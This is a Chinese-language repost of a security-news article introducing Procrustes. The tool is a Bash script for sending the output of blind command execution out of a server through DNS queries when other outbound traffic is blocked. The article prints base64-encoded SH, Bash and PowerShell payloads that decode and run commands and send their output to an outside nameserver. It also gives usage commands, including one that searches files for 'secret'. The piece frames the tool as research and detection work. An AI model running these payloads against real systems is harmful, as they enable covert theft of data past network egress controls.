前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用Procrustes从DNS流量中提取数据

使用Procrustes从DNS流量中提取数据

作者头像
FB客服
发布2021-04-16 14:41:18
1.4K0
发布2021-04-16 14:41:18
举报
文章被收录于专栏:FreeBufFreeBuf

Procrustes

Procrustes是一个能够自动从DNS流量中提取出数据的Bash脚本,我们可以使用该脚本来检测服务器端执行的Blind命令。因为在有些情况下,除了DNS流量之外,服务器端的所有出站流量都会被屏蔽,这也就意味着攻击者将有可能利用DNS流量来执行攻击行为,因此Procrustes将能够帮助广大研究人员分析并检测通过DNS流量执行的Blind命令。

该脚本当前支持SH、Bash和PowerShell,并且兼容exec风格的命令执行,比如说ja*va.lang.Runtime.exec等等。

工具运行演示样例

Unstaged:

Staged:

对于它的操作,脚本将我们要在目标服务器上运行的命令作为输入,并根据目标Shell对其进行转换,以便允许通过DNS对其输出进行过滤。在命令被转换之后,它被返回给“调度器”。这个调度器是一个由用户提供的程序,负责将命令作为输入,并通过任何必要的方式(例如利用漏洞)在目标服务器上执行。在目标服务器上执行命令后,它将触发对包含数据块的DNS名称服务器的DNS请求。Procrustes将能够监听这些请求,直到用户提供的命令的输出被完全过滤。

下面给出的是支持的命令转换形式,针对的是提取命令“ls”生成的转换命令。

SH:

代码语言:javascript
复制
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc*4LndoYXRldi5lcgo=

Bash:

代码语言:javascript
复制
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

PowerShell:

代码语言:javascript
复制
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC*4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC*4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUA*VABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/vp777/procrustes.git

工具使用

1、本地Bash测试:

代码语言:javascript
复制
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)

2、本地PowerShell测试(WSL2):

代码语言:javascript
复制
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'

3、PowerShell样例,我们SSH进入至我们的NS并获取传入的DNS请求:

代码语言:javascript
复制
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')

4、获取更多操作选项:

代码语言:javascript
复制
./procroustes_chunked.sh --help

项目地址:点击底部【阅读原文】获取

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Procrustes
  • 工具运行演示样例
    • Unstaged:
      • Staged:
      • 工具下载
      • 工具使用
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档